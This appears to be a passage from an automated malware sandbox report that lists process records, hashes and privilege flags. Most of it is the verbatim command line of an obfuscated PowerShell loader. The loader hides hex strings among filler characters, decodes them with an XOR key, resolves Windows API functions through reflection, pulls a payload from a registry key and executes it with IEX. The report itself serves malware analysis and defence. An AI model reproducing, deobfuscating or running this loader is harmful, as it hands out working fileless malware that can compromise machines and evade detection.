Hk(Me`$MavSp_BemDe,Ro Tu`$Amvin_DipBu)Ra Re Du Su To Ab;Li`$DiLCheNyuSncTyiYdfGaeStrUt0In Un=osHLiTReBFa Se'MuCDu1fj9Sa3Ce9Bu0Sc8KaBHo8Ta8ShCAn5EsDLa8PrCGi5fjCGoDexBFrEVaAHl4Ma9In5Pe9Ty5FoAKo1De8TuASk8Ni8Ag8ur4Fi8UnCKi8GaBReBSt8urDPeFLoDBeFKnAUn6Ma9Ve0Sa9An7Su9St7De8Fl0Fo8alBCe9Be1GeAOm1On8AgARa8Pr8Tv8Si4Sa8PaCNo8NoBBaCDiBApAFo2Br8aa0Un9Me1UdADr4We9Su6Fe9pl6Sc8Ne0Sk8Ge8In8Ro7Un8Dr9Fl8DrCun8Sy0Ha9Da6LeCTrDPeCStCMoCAf5Vo9Au9UpCBe5CaBRe2Hy8RiDBe8de0Pe9Ge7Ne8re0AlCBl8ryAKiATi8Sa7En8BeFSa8Re0Mt8Be6Sm9In1AgCAl5To9BeEVaCHo5TvCCo1SaBCaAOuCweBPrAOv2Op8Ke9Ko8OpApo8Pr7Pr8Af4Wi8Ab9AfAFo4Ha9Cl6re9Se6Fr8In0Pi8Au8Sy8Su7mo8Sr9kr9ImCReAUp6Ba8Li4Se8Re6De8AfDSk8li0SyCIs5FoCSu8MeAMe4So8BiBco8Hu1DoCRd5UnCFi1SkBMaAMaCNoBDuADd9El8PaAAf8Ja6St8Di4Na9Ba1Ti8AdCal8FaAAv8PlBPoCIsBToBAs6Fa9Im5Ud8Bo9Ro8LeCTr9Fa1CaCQuDskCLs1InBMo6Tw9Ta1Oc9peCCa9Co7Na8FrECo8Gr0Ma9ps1Ap9Ha7Mu8FrBGr8Sp0HoDLiDFeCAuCVaBHeEStCDe8SaDTr4SoBRe8MeCFrBReAPe0St9Br4Fr9Rs0Kd8An4Pr8So9ba9Na6EuCCaDLiCbz1SpASkDSu8vo1Im8De9Hu8Ov6SaDSc5PrCAtCSyCSc5Ho9ok8KrCDaCHjCGaBHaAKo2Ma8Fi0Ti9Ka1VgBUn1Ra9LyCTe9ud5Af8An0TrCBlDSiCTe1SkALeDAb8Ku1Ba8Ur9Bu8Ra6DdDSk4TrCSyCUs'Re;St&Fr(Gr`$TeSSvtUhyCorFokMoeBetGirUnnGueAf7Ro)In St`$KrLCoeDeuVecUdififAseRarDj0ph;Fe`$StLAxeFiuGlcAniCrfUpeSvrba5Bl st=Wa SkHUnTUnBAr Kl'PaCRa1Ot9No3La8Pa4So9Ka7AcBVeAAd8Ti2St9Py5Ti8Bo4MeCFr5EnDCh8DrCMu5teCRe1Sc9Un3St9Kr0Be8PhBTo8Pe8ToCopBChATe2Be8Ca0Si9Ro1DuATa8Re8Or0Ou9Ya1Ja8QuDbe8GrAFi8Ba1brCHeDAnCbl1MoANoDCh8Ro1Ge8Sp9Bu8An6DeDBe7NaCSv9DiCDi5CoBBoEMeBCo1Gl9BrCSk9Se5An8Ad0CoBPrELuBEx8FuBGe8KoCSu5TiAVa5SoCClDfjCPo1SnAInDFo8Pr1Hi8Bu9Sp8He6unDSk6MaCHo9BlCWe5ArCKe1CrAMaDAs8Sa1le8Ek9Bu8ti6ChDHa1BiCUnCLoCKeCMe'Ha;th&No(Ci`$SnSUntUnySkrLakAnePotsarXynKaeDe7De)Ex Ti`$ReLPreDouBrcDoiSufSeeSqrAn5Dy;gy`$BuLAneDruSccBriskfCaeAnrso1Lu Ba=Fa aeHSeTTrBKa Ca'Sk9Ri7cu8Te0Sp9ta1Va9Sk0Re9Dr7Fi8SiBHaCIn5KoCUn1La9Hu3Pa8Su4Ud9Be7UnBReAOu8pl2He9Br5Ub8li4DiCTyBToAPaCPi8DiBRe9Gr3In8EmASt8ElEFo8Jo0YeCDaDViCSt1kr8SsBfo9Sa0ho8Fl9ka8St9GrCSw9TeCSm5CaAAv5InCGoDMeBNsEPrBSu6le9elCCa9Ta6Kr9Ma1Fo8Sl0Fa8Fa8NoCUnBgrBTr7Bi9Hj0Ra8SiBPo9Be1Tv8RaCSk8Sk8Ha8Sp0RuCTaBAnAUnCEl8TvBWy9re1Pa8Yo0Wa9Bk7No8ViAEf9Bl5FoBEp6Se8Ci0Sa9Sk7El9Un3Me8FoCkl8Fe6Fi8Ut0No9Al6LeCBoBSaAArDLe8En4ak8nuBKa8Ma1cr8Se9Se8Gu0CrBPu7Ou8tr0La8Ep3FiBLs8SoCAfDAsAWiBMe8Fa0La9co2PoCpa8CiAOuAEr8to7Ca8ArFsa8Pa0To8gl6Do9Un1AfCFr5PeBNe6Bu9WiCGu9St6Cr9Ex1Ua8Ap0Op8Di8StCShBUrBBu7Al9No0Pi8HyBNo9Um1Ud8IaCIn8Sv8Ib8Ze0EkCCoBTeASvCGe8WoBTo9Va1Ca8Ab0Wo9Co7Ac8MoAUd9Sk5AfBGo6No8Ov0la9In7Or9bl3To8MaCTj8In6Ve8au0Hy9Ba6WoCKaByaAStDso8st4he8StBKo8Ve1Nu8Mi9Ko8Pi0DaBZa7Fu8Ab0Ti8Sy3HoCReDPrCPlDDeAOmBVo8de0Ga9Le2BrCBr8ToADeAFo8Ku7Ne8UdFLe8Ka0Gy8Di6Pr9Go1BuCPe5isAInCMo8IsBsu9Ti1FoBDi5Do9Un1Cl9De7MyCArCalCTa9SlCNo5PaCSpDLeCBe1Re9La3Mi9Br0Ud8AuBUl8Va8LiCArBHyAMi2Ra8in0Ts9Ro1AmABl8Fd8Fi0No9De1Gu8InDMo8UdASl8Am1GeCFiDDeCSc1TiAChDKi8Ba1To8ve9Wh8Cy6WaDTa0MoCCoCLgCReCPuCEjBSjAScCSk8SoBUn9Ex3Ma8KrAFr8SvEGo8un0OvCToDJaCPa1Di8UbBkr9Re0an8Tr9Ro8Or9loCFl9KvCRe5KuAPr5OvCAnDTrCTa1Tp9Ga3coBAnABd8Bl8BrCBeCPaCBrCPrCUnCPeCArCSkCHo9BrCSt5MiCTu1Ti9Ma3KoBReAgi9tw5BrCPhCMyCMuCSm'Ur;Ap&Ud(An`$ShSdetOsySurSkkFaeDitSprDanCeeAb7Ag)Pa Ch`$BeLReeSkutrcTaiChfEmeMarPl1Ca;Ob}TrfViusqnRecSitBriPaoArnNe KaGCaDDiTYd Vi{ErPSyaBirShaBemti To(Sk[StPinamorDeaSumToeTotKaeforKa(frPSkoSesTiiActCaitioWanEk De=Ba Ko0in,Py PuMbraPoneldEnaTitImoCorCoyVe Ha=Pr Tr`$WaTPhrChuNeeFu)Te]Vi Ar[BeTmeyHapsoeKk[ap]Ko]Pr Cc`$ElvKlaVerBy_VaphjaLirOkaunmPreRetUdeOvrKbsPo,Op[GoPClaStrSlaHemSaeLatKleSarEx(BaPPioAusAfiPrtGeiReoMunAf cu=Fr Cu1Od)Ta]Ca Sk[HeTGlyInpAneHu]Br Tr`$IsvTrrAdtBl Ab=Re Ko[PeVCuofliOvdBi]Re)Ve;Je`$TaLwheHeuMicDriisfByeCarFr2Pe St=Ti RoHAtTmoBFr sn'KaCSo1DeBAn3ToBTa1UnALi7PeCSa5alDUs8ReCCo5SiBSeEMoAYa4In9Va5Su9Or5OvARa1Ra8TiASk8Ka8Fs8Un4Cr8CaCba8PaBMiBAl8PlDKnFEkDVaFBiAVi6Va9et0Co9Cr7Om9Ep7De8Fa0Ve8SkBSp9Ch1fiARe1Sc8GaASt8Un8Ci8Go4Ku8SkCTi8BiBOvCPaBekAKn1El8Be0Br8ov3Na8WaCGa8EfBko8Fr0PoABl1Pl9DoCYa8SaBFo8Se4De8La8Ti8PlCPn8Co6DeAPi4Ar9Mi6No9Re6Il8Dr0No8te8Se8Vi7Re8An9Ma9UnCAlCBaDBlCExDGyAraBfo8Bl0Au9Bu2AtCTi8reADeASk8Gr7Ko8meFHo8Ve0St8fo6Sa9Ca1AmCFu5blBIn6Su9GrCRe9Sl6pu9mo1Ba8Ic0va8Dr8doCArBStBFo7Ku8Fl0Vi8Re3Mi8En9Mo8dr0Se8tr6Ch9Fr1Pe8IdCPa8NoASi8InBinCSkBAeANo4Tu9Sy6Or9Po6Ov8Ni0Ku8Mo8Xe8St7Pa8Gl9Sk9UdCSlASyBUn8Br4gs8Aw8Or8Ak0ApCFlDCoCMi1FlABeDTs8Op1Tw8se9Bu8Me6ciDOvDPrCRaCSiCReCNoCSt9RuCPr5InBBoESeBBl6Te9puCUn9Em6Pl9Pa1Ka8Be0Kl8Af8maCSwBPaBTr7Gu8Ku0St8In3Lo8Pa9Mi8Ku0Su8Ho6so9Fo1de8AdCTe8BeANo8AnBHyCVaBPsAGa0He8Re8Na8InCKu9Gy1FlCSpBLyAse4En9Ph6En9Sp6Pa8Fr0Gn8ur8Ly8sk7Fo8la9Sa9FlCCrAVa7Dn9Un0De8ShCPe8Cl9Bo8Di1Op8In0ti9Fo7ScAVr4el8Ha6Sn8Fo6Al8Mi0In9Al6Ca9Xe6TiBga8AnDPrFYoDkiFPeBEc7sy9an0Ex8HeBSuCPaCPrCDeBViAOv1Gr8El0Ka8Lu3Ex8ReCUp8BeBSe8Sp0UdAGm1Re9BaCBy8poBSt8Je4So8Au8Da8TaCCo8An6HyANo8un8SlAIn8Un1Un9Kl0Br8Wh9St8Pl0OsCHoDCoCNi1OpAGnDbo8Sm1Sv8Tu9Le8Sk6EdDDeCRoCMu9BaCHe5VoCHj1Ba8Tr3Ad8Pa4Kv8Bu9Lu9El6Bi8Ne0JoCSuCTrCBlBJeAFu1Ta8Al0Se8Bl3mo8NoCra8UnBWa8La0DeBti1An9LiCBi9Pi5Sa8Ba0OpCZeDPlCSu1RiBNe6Wh9Si1Fe9MaCRe9Br7Ki8DrEMi8St0Tr9Ma1So9Br7Di8CoBPr8Pu0BeDHu5FaCAr9DdCre5KlCpi1KaBMe6Cl9Wa1aa9SeCTo9Su7Bu8VaEPr8Ar0si9Fo1Ec9No7Sk8ClBBk8Ta0HeDRy4DaCDu9MeCAl5CaBBiEAuBHo6Pe9FrCTh9Co6Ex9Pl1Da8Mi0Su8gl8MiCPrBDiACi8Op9So0Al8Af9Ci9Op1Co8NeCBu8Sv6St8Cl4Ox9Ld6Na9De1AuAGe1Tr8In0Tr8ef9St8He0Om8In2Me8Kl4Ud9No1Wo8Dr0DeBpa8EnCHaCDu'Im;Le&Sa(Bo`$GlSPatAuyDirSakWaeAftHorMlnUneUn7Fl)Cr Br`$GtLDieFouTacEmiLafAfeArrUn2Sh;Sr`$KlLTreGauFacShiKnfEvestrBe3Br je=No StHAnTIdBUr dy'FlCBh1FoBLi3ReBPh1SeAFo7NuCUnBreAEn1Di8Ko0Vr8An3su8AnCha8UdBen8Ma0SyAFr6Co8EaACo8AkBAf9Re6Ru9Ku1Im9Am7Pr9Du0St8Pa6In9Re1de8NoAKa9Ne7ThCLaDCoCPl1LaABeDTi8Me1Me8Pr9Hv8Nd6AlDRe3RoCLe9DiCPr5EvBArEOpBBr6Ta9YoCDe9De6Sm9Sy1Ud8Ca0An8pl8TrCCoBFrBIn7Do8La0Pa8Mu3Ve8La9Po8Ja0Un8He6Gr9Fo1Fl8BaCsk8FoAUn8PiBBlCDeBClARi6Un8Be4De8Fo9fi8sa9Re8ElCLi8DdBBi8Fe2VlAIc6Be8FaAHy8OpBIn9Ca3An8st0po8InBFr9Sc1Ek8WiCAn8HeASe8EfBHe9Ot6SyBSe8ViDBaFRaDMaFOpBSc6Fi9Ga1La8Sp4Am8ReBPa8Ub1Bl8La4Sn9In7Fo8Hy1GrCSn9StChj5GrCAp1Li9Ou3Us8Pl4Ak9Pu7MaBAnABe9Tr5Ta8fr4Sk9br7om8Mo4Tr8Ra8ni8Sp0no9An1ka8Ca0Un9De7In9Su6EnCAbCSlCOfBSeBIn6Un8Ph0Sa9Un1ScABeCSp8Da8Pa9Tj5La8Tp9Un8Af0Al8Bu8go8Lo0Be8ErBPa9Ka1Tr8Sa4Pr9hv1Dm8PoCJu8MeARa8PiBSkASu3Ab8Ho9Ud8Fa4Da8Me2St9Bl6YnCCeDCoCAu1ToAOrDBl8Te1Ka8Be9Ba8Sa6TaDNe2PrCBaCOx'Un;Pe&ur(Oo`$inSDetLayBlrHikSoekatRerIrnToePe7mi)Go To`$MoLFoeYluDicKaiEmfDeeBirRo3Sl;Ah`$ToLRaeRauUdcHyiFefHoeMerMo4Us Co=Pa BiHLaTNaBFl Mi'ChCGu1ArBto3ThBEl1StAAk7TyCLaBFyABr1As8Fa0Su8Br3Da8SuCLi8KoBGr8Fl0AzABi8Wi8Dr0Op9Fo1Ra8ReDFa8FoAHy8Fo1TeCMiDSuCCo1BlBSa6Mi9Te1La9AsCBu9Bl7Tr8enECa8ro0Re9St1Re9Ne7Bo8StBim8Ta0AkDEk7InCSa9PrCEl5DiCBu1DiBTa6Ko9Si1Su9chCOp9Pr7Cr8GeEov8Ru0Dr9wr1Op9Sk7Ve8ChBDo8Ou0ViDSo6ueCTi9CrCSt5BaCRy1Pr9St3Un9Bi7Ta9In1BrCEk9ReCsi5ChCcl1Fi9Sa3Bl8Ga4Re9Fr7InBWiAVe9Fr5Mo8Yo4Se9Ty7Dr8St4Gn8Re8Ly8Fr0Ov9Po1Gr8Do0Mi9Pa7Ce9Bl6FiCscCHaCnaBCoBAn6Sl8sp0Fo9En1VaAWiCLb8Ok8Bl9Ad5Be8Dr9Ou8sc0Ti8Ba8Ir8Ha0Me8UlBRe9be1Dv8ko4Tr9Gu1Po8AnCKv8SkASk8PaBFaADi3Di8ta9ov8Ch4Pu8Tr2Ov9Ov6TpCUnDPhCNa1KeAIjDMi8Ej1Im8Le9Su8au6MoDSt2ReCAsCMi'Pr;wi&Au(st`$AfSJutKoyCirIrkUneUmtJorSynSyeCh7Ti)Pr Ge`$InLNieKauSacbaiSifOveDerVr4Pr;Sk`$KoLSqeDauTrcDeiRefydeEnrKo5El fy=sa PaHInTriBSt in'Sk9In7Ba8Av0Ak9Fo1Ve9Op0Un9Fa7Pr8FiBInCMi5AsCKi1AfBJe3GaBBi1SmAMo7TuCuoBGtADy6Ga9Ho7Ja8su0Wh8ve4Kn9Sc1Th8Fo0ReBIn1Tr9ScCFo9Ud5Pi8Ni0SyCSeDMrCSyCPe'in;Al&Sa(La`$UdSVatLyyByrAskFledetSyrArnAdeSu7Pr)Rg Se`$BaLSpeTmuSacFiiDifSyeBarHo5Pe Fk Ta Wi;Un}Ho`$HekRekDi Ur=fi BlHUdTcrBOk Wi'Af8LyELe8Ca0Pa9fl7Pr8AwBUn8Sa0te8Ca9AnDla6AnDLa7Ov'Ar;Af`$MoLtheopuBlcBeiRafUneMerBe6Po pr=to SaHSkTBrBra st'FaCWi1Mo9Pl3Sm8La4Ps9To7MaBReAra9Ud3Si8Pj4AfCBr5vaDOm8WiCVe5FuBStEisBSt6Re9UnCPr9Fi6En9Ak1Bi8Ca0Pr8st8OcCBaBNgBSc7Ta9Kr0xy8UnBCy9cy1Ea8SmCSj8Te8un8sa0IbCBeBInAHjCAn8HaBTh9Fo1De8El0Ou9Sp7Fo8RoAMi9Re5EsBDo6Di8Tr0Nu9Dr7Id9Ze3Un8OcCEn8Vi6Sp8fo0La9Ca6deCDoBFaAFe8St8Pi4Va9Sy7Ex9Fo6Mi8BlDTy8Sp4Ma8In9UkBSt8KnDAuFSmDPaFViAKn2Un8Pr0Ce9hy1HjALg1Gy8Ca0Bu8ke9To8No0Da8Or2De8Re4Mo9Cl1Fr8El0AgANe3Mo8SiAAn9Sk7WeASa3Ov9Ri0Sp8YuBSy8Sh6Sa9Gr1Ca8KaCAn8ObAPe8AdBdrBGn5Vi8isAUm8PoCTi8EjBpe9Sy1Un8In0Fo9Ti7UnCGoDTeCXwDCe8Sn3Sy8PrEWa9Rh5SpCCa5BoCSh1Mu8SaEKl8TaEPrCBy5HjCVi1SkBve6Ri9Un1De9unCde9Ya7eu8KoESt8Go0Un9Sh1Ne9Ov7Sl8CrBUn8Fu0SuDEl1ZyCMoCPhCDo9MiCWa5ReCMaDUnAFi2IdAGr1AdBNo1SaCHa5RdAfo5deCRiDCoBPrEVrAChCdi8MoBSa9Ri1prBWa5Ta9An1Pa9Af7StBSd8InCWa9BrCAc5FoBfeEUnBPy0ReAScCOc8HaBRe9Tu1DaDPo6TeDJi7StBek8DiCSo9SeCLe5BeBTrEDoBAr0amAUnCJe8AdBdo9In1asDSo6FuDil7adBgn8HaCUd9faCEx5SpBKoEDeBBi0HoADaCAf8HyBFr9Sm1UnDUn6CoDGn7SvBBi8TrCRoCBuCmi5ceCRaDTrBFoEenAAnCpr8SuBCa9Fr1ZiBOl5Sd9Al1By9Vi7DeBCo8chCSaCBeCPaCSpCUdCHe'Ko;na&du(Su`$ImSAgtInyNarTikteeDetTerErnVreFa7Ca)De Da`$SkLMyeCeuAtcHaiKrfOreAkrCa6Ti;Ce`$PlvPraEnrHe_ArnTotpa St=Tr OvfUnkHapsh Ud`$MoSspttsyBorImkpoeButBrrAnnjeeFa5Ar No`$DiSOttPoySarSkkBkeantRerNenDieDo6Kr;St`$PoLAneKouodcLeiNifBieSvrCl7Du Th=Uh BiHDiTmaBBl Be'ErCAd1HyAElASe9Fa1Le8AaDPr8MeCPr8ReBOvDVe6EnCIl5BeDCe8UdCSt5InCsn1Ba9Ra3He8Su4Fu9Nr7BaBTiAFr9St3pn8Py4AtCPoBcoAmeCSk8DuBPr9Sc3Re8snABr8SvEIn8Ss0SkCTrDSaBWiEPeAStCTi8AmBAn9no1HiBFo5Su9Vi1Pr9Sm7OrBCo8UnDStFSnDStFBiBPeFKr8Be0Rn9Tr7Un8NeANiCBl9HvCTo5KoDMo6ChDFi0HoDun6UdCWo9TiCBe5JeDCo5pa9SpDLoDPe6PeDCo5EnDIm5CeDre5GeCCe9elCSu5StDPr5Mi9DeDsaDav1heDQu5UeCAfCSa'Co;Au&Wi(ca`$GeSTwtStyBorLakNoeGatTerUsnDoeMi7Ho)Gl Ex`$PoLFlePruuncOuipifOvePtrno7Ma;ov`$OpLRiefiufrcBiiUnfKaeHurBr8wa Mu=An IoHSeTRyBCo Op'rdCFr1Ba8AuATa9kn7Fa8OvCDeCNe5anDSt8IdCro5waCRu1si9Ga3Du8Ka4Li9Un7RoBArANe9Ca3El8De4DuCEnBLyATiCSp8SiBBl9Se3Pr8OvAEl8WiESk8In0liCVeDBuBDoEReALeCLa8PaBNe9Lu1puBOx5Ca9Va1tr9in7ByBMe8ReDSpFFiDNoFBuBdaFVr8Ca0ar9Ru7Ls8BiAUpCHa9inCPr5PhDUn5Bu9deDNiDpr4EkDJo5StDKr5CaDAr5apDDe5DaDLu5FiCDe9FoCSa5tsDTe5Lu9NaDAvDEs6RoDSl5StDRi5AnDSl5AtCSt9MeCVo5AnDaf5Sh9AbDNiDSk1UnCunCSt'Br;Th&Ko(To`$ArSDotLnySerOmkToeSotOvrAlnReeAn7Ac)Ba Un`$SkLCeeAmucocIdiQufroeFrrBi8Ku;De`$kaLTusCaeOprInucunArdSneSirVisErgsoeColInsCreTerPh=Be(BjGKeeBatLa-BrITrtKneArmEcPberProAnpEneUnrNotsiyUn Ri-BiPAcaSttMyhAe fo'TeHMoKJoCFlUAt:ti\BlMPeeMetMoaGrgFanStoRimSaydo\KaeDoaBogInlAbemadSu'St)Ov.LnSUnaHarEucGloTilSioEvgFliKasCotso;Se`$SvLReeCouDacFriSefYneGorso9Cl Me=Me HjHBoTRaBll Ha'ArCMe1VuABr9mi8Fa0pa9ta0Tr8Ka6Ri8LeCfo8Fl3wh8Vr0Su9pe7MiCLa5AfDSo8DiCSp5CaBSiEkaBGu6No9AsCSy9Fr6fe9St1Li8Un0In8Lu8ArCStBJeABu6Ha8HeAbe8ThBRe9mi3Ir8Go0Ch9Fo7Ma9Ar1JiBOr8PyDDyFsyDBeFAfAHa3Gr9Ko7Fo8StADi8Gr8moAFh7Fa8Dr4At9re6Su8Em0FoDUn3SrDRe1LoBBa6Ke9Me1Sl9Po7fe8stCIn8RaBRa8Pe2JaCAlDMoCfo1reAAn9Af9bo6Er8Un0Ex9de7Nu9Rh0Re8phBCa8To1Ta8Mo0no9Jo7To9Ko6Em8Ga2De8Fu0Fl8fo9Sa9Ad6pa8Af0Se9Ka7saCReCEg'Si;He&Ch(sl`$slStwtSaySmrDekAdeLotDirUnnTieBl7Ep)Va Ab`$NaLSieBauOecTaiarfCaeAdrkr9Ci;Li`$SuLMasSueMarUnuWhnGtdFoeTerHasDygRuePilAnsRieOvrAr0By Hi=Th myHFaTdiBHy At'PlBBoErhBFd6Ir9BlCSm9Ka6Sy9Sp1Wi8La0Pr8Gr8GoCDeBBiBRe7Mo9In0no8UnBBl9sa1ui8OpCSe8fj8Re8Hm0SyCEaBTrAReCHj8HaBBo9Ch1nd8Ma0Fo9Ve7Ro8ChALa9An5MeBUb6Sp8Co0Bo9Ki7Hj9Te3In8feCRe8Tr6Re8Ov0Un9Un6kuCPlBCiAHo8Ko8Fl4fl9ha7Ku9Ri6bl8UnDmo8St4Co8ls9SkBRe8UnDteFReDFoFMoALu6Ek8ToAFr9Da5La9DeCRiCBoDKoCZy1AiACy9Br8Sy0Re9Na0Sa8ef6Ge8SlCCa8Jo3Do8Ow0Bu9Bk7XiCbr9WhCCu5DdDKa5TnCPe9ItCTa5NgCFo5KoCNo1BaAPsARe9Pr1De8AbDPo8PlCte8reBAfDUf6CrCOv9HoCcr5JaDAl6viDSk0RoDPa6PeCSeCPl'He;Sc&Be(Hi`$AdSEktStyMorThkUneVatDerGrnReeOr7Bl)St Ar`$ReLPrsDeeLarSluArnFodSueDrrJesBegGleFllSksBleAnrLa0St;Sa`$hisOmiCozUneNo=mi`$PaLAmeStuIncQuiGofaleXerte.MacDeoCouennlitEm-Di3Sc5Qu3Bi;So`$GiLFrsFleSkrLvuPanKodloeDarFrsExgnoePrlPesBuePsrli1Rh Te=Fl SeHImTSkBCh Hy'UnBJaEBiBRa6Ih9MeCCa9Br6Ek9Ga1gr8Se0Kv8Te8StCmaBMaBRe7Pe9Fr0Wh8AbBSu9Kl1Be8MeCSu8Ci8Fl8be0FrCUnBPrANaCAf8DeBSu9Me1An8Gs0Hj9Rs7Re8DeASk9Ov5BeBEr6Ha8Li0Lf9Eg7Ly9Sp3Pe8UdCHe8Mi6No8Ju0Ha9Fr6AnCSuBToAGu8Ar8Be4Ul9Ph7Re9Pa6ge8BeDVa8Dr4Bu8By9LuBBr8HoDStFStDKoFTuAHe6La8reAVi9Sk5Sr9MaCCoCVeDSwCFu1DyAUn9ex8Rs0Fr9Vo0Tr8Fl6En8SyCUn8un3Ge8Li0St9Un7OkCAd9BuCat5ElDIn6GaDCo0efDSi6CoCGn9HjCVa5HoCvo1To8PrASp9Be7Pa8ReCUnCIn9UnCWr5InCPa1Vi9As6Ap8HyCCh9BlFSa8Hu0NiCBlCOm'Br;Lu&Ov(Ve`$BeSSttDuyDerInkMaePrtAlrAnnJneSp7En)Ek Ti`$NoLBesSnedirnauRenStdCaeWhrPrsLigRueLalCisDoeInrEx1Sr;El`$AmLAnsTreParPruGanSudLueAkrTasRagsteBolInsraeOlrGl2So Or=Si BrHScTSeBAn Ve'PnCUn1Ch9Fr3St8Tr4Co9Va7ToBEnAVi9Fe7Ex9Pa0Im8AnBFo8Ta8Ku8An0BoCBu5UbDCh8FoCDe5ToBCeEdeBOv6Fl9HiChe9Pu6Sk9Bl1Ud8Sp0Cy8Et8TaCVaBKnBSu7To9Fe0Ne8EkBSr9Ak1En8UnCBe8St8Be8He0MaCStBUdAAnCHe8AaBov9In1Pi8ud0Pl9Op7Pa8ZaABi9Fj5FuBMo6Ga8Vo0Sc9Bi7Tr9Di3Di8MaCOf8Up6Fo8Ep0Ko9Op6UnCSnBDiANo8dr8Un4Ka9St7ba9Al6Fi8arDSp8Aa4Ge8Bo9GhBPo8upDPsFFoDTrFDrAIn2Di8Be0Da9Pr1RiAga1Hj8Co0Ad8Bl9in8Pr0Ek8Ji2Al8He4Ja9fa1Af8He0FoAgl3Ve8UdAGe9De7BrARe3Ob9No0Sp8FjBim8Bi6Al9Le1Ra8TvCAp8SiApr8LyBIrBTe5In8MaAGe8FoCTo8DuBPa9Ku1Ka8Fu0En9Hk7BrCArDFoCBr1BiABeAKo9Al1Br8GaDTh8LuCTh8udBStDNa6EnCFu9DoCEx5SaCPoDUnASk2TuAPh1PhBNo1BeCMe5GaASl5SaCNiDPaBspEUnACaCSp8BeBRe9Fy1SnBMa5Wo9Co1Li9Ru7PiBFo8DeCBl9EgBKuEtrASoCOv8SuBHi9In1ReBBr5so9Xy1Be9Mu7BeBSc8LaCChCMaCPr5SuCGuDAsBBiECoBTe3Sm8SiAAp8MyCUt8St1PaBBl8LaCHyCbaCAmCShCngCGe'Pu;Fr&Fo(No`$BrSSutInytrrPakSoeAntSkrFanuneAf7No)De Tr`$ReLInsEgeSmrTauLanKadSpeOprAbsTegGleBrlKasSteInrst2In;Fa`$BlLLmsRoeBjrsauMinEndTreKarHesFagSkeGulTvsCheBurBa3Im Es=St BaHTaTdrBBo Bu'PrCEm1de9ud3Da8Pr4Te9du7AdBfeAjo9Al7An9Sk0St8BeBBa8Re8Vr8Li0CoCDoBErAUnCIn8ExBFl9Bo3St8SpARe8RoENu8Be0AsCBoDstCFe1Pr8AaAHo9wh7Fo8BeCLeCTr9InCBo1Va9Ud3Rh8Si4Ah9Si7DaBExAGr8ThBDa9yo1ToCTwCSp'We;Sk&go(Lu`$StSHetDeyprrMekBleKotomrSonWyeAl7Ti)Cr Pr`$ReLPrsSueGurAbuMenNedPaeDarSysTogSteaslIdsAdeFirBy3Te#Pj;""";;Function Lserundersgelser9 { param([String]$HS); For($i=2; $i -lt $HS.Length-1; $i+=(2+1)){ $Antidrug = $Antidrug + $HS.Substring($i, 1); } $Antidrug;}$Romerretlige0 = Lserundersgelser9 'AlIMeEPaXSa ';$Romerretlige2 = Lserundersgelser9 'opsFrtSraUrrHytPa-TjjUnoskbDi ';$Romerretlige1= Lserundersgelser9 $Badeanstalt;;if([IntPtr]::size -eq 8){.$env:windir\S64\WPower\v1.0\ll.exe $Romerretlige1 ;}else{&$Romerretlige0 $Romerretlige1;};;;
Imagebase:	0x7ff6766f0000
File size:	452608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	moderate

Show Windows behavior

Target ID:	4
Start time:	20:44:31
Start date:	28/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff773f10000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	5
Start time:	20:44:33
Start date:	28/11/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):
Commandline:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function HTB { param([String]$HS); $Bytes = New-Object byte[] ($HS.Length / 2); For($i=0; $i -lt $HS.Length; $i+=2){ $Bytes[$i/2] = [convert]::ToByte($HS.Substring($i, 2), 16); $Bytes[$i/2] = ($Bytes[$i/2] -bxor 229); } [String][System.Text.Encoding]::ASCII.GetString($bytes);}$Hdlc0=HTB 'B69C96918088CB818989';$Hdlc1=HTB 'A88C86978A968A8391CBB28C8BD6D7CBB08B96848380AB84918C9380A880918D8A8196';$Hdlc2=HTB 'A28091B5978A86A4818197809696';$Hdlc3=HTB 'B69C96918088CBB7908B918C8880CBAC8B9180978A95B68097938C868096CBAD848B818980B78083';$Hdlc4=HTB '9691978C8B82';$Hdlc5=HTB 'A28091A88A81908980AD848B818980';$Hdlc6=HTB 'B7B1B69580868C8489AB848880C9C5AD8C8180A79CB68C82C9C5B59087898C86';$Hdlc7=HTB 'B7908B918C8880C9C5A8848B84828081';$Hdlc8=HTB 'B78083898086918081A180898082849180';$Hdlc9=HTB 'AC8BA880888A979CA88A81908980';$Styrketrne0=HTB 'A89CA180898082849180B19C9580';$Styrketrne1=HTB 'A689849696C9C5B59087898C86C9C5B68084898081C9C5A48B968CA689849696C9C5A490918AA689849696';$Styrketrne2=HTB 'AC8B938A8E80';$Styrketrne3=HTB 'B59087898C86C9C5AD8C8180A79CB68C82C9C5AB8092B6898A91C9C5B38C9791908489';$Styrketrne4=HTB 'B38C9791908489A489898A86';$Styrketrne5=HTB '8B91818989';$Styrketrne6=HTB 'AB91B5978A91808691B38C9791908489A880888A979C';$Styrketrne7=HTB 'ACA0BD';$Styrketrne8=HTB 'B9';function fkp {Param ($v_m, $v_p) ;$Leucifer0 =HTB 'C193908B88C5D8C5CDBEA49595A18A88848C8BB8DFDFA6909797808B91A18A88848C8BCBA28091A49696808887898C8096CDCCC599C5B28D809780C8AA878F808691C59EC5C1BACBA2898A878489A49696808887899CA684868D80C5C8A48B81C5C1BACBA98A8684918C8A8BCBB695898C91CDC1B6919C978E8091978B80DDCCBEC8D4B8CBA09490848996CDC1AD818986D5CCC598CCCBA28091B19C9580CDC1AD818986D4CC';&($Styrketrne7) $Leucifer0;$Leucifer5 = HTB 'C1938497BA829584C5D8C5C193908B88CBA28091A880918D8A81CDC1AD818986D7C9C5BEB19C9580BEB8B8C5A5CDC1AD818986D6C9C5C1AD818986D1CCCC';&($Styrketrne7) $Leucifer5;$Leucifer1 = HTB 